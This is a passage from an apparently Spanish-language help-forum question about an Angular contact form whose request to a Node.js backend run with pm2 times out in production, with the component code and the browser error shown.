} Estoy usando la ip de mi dominio app.component.ts import { Component, OnInit } from '@angular/core'; import { MessageService } from '../services/message.service'; import swal from 'sweetalert'; import { VirtualTimeScheduler } from 'rxjs'; @Component({ selector: 'app-form', templateUrl: './form.component.html', styleUrls: ['./form.component.scss'] }) export class FormComponent implements OnInit { constructor(public _MessageService: MessageService) { } contactForm(form) { this._MessageService.sendMessage(form).subscribe(() => { swal("Formulario de contacto", "Mensaje enviado correctamente", 'success'); }); } ngOnInit() { } } En el servidor he instalado nodejs y pm2 para usar pm2 start app.js por medio de ssh y obtengo [Me muestra que que la app esta ejecutada][2] pero al momento de enviar el formulario en producción me muestra el siguiente error Failed to load resource: net::ERR_CONNECTION_TIMED_OUT main.5cb5f6b8477568c35bd7.js:1 ERROR e {headers: t, status: 0, statusText: "Unknown Error", url: "http://107.180.59.131:3000/formulario", ok: false, …} [mira el error][3] [1]: https://i.stack.imgur.com/6jyBH.jpg [2]: https://i.stack.imgur.com/KczRe.jpg [3]: https://i.stack.imgur.com/IJjvW.jpg espero me puedan ayudar con este problema amigos saludos,
0debug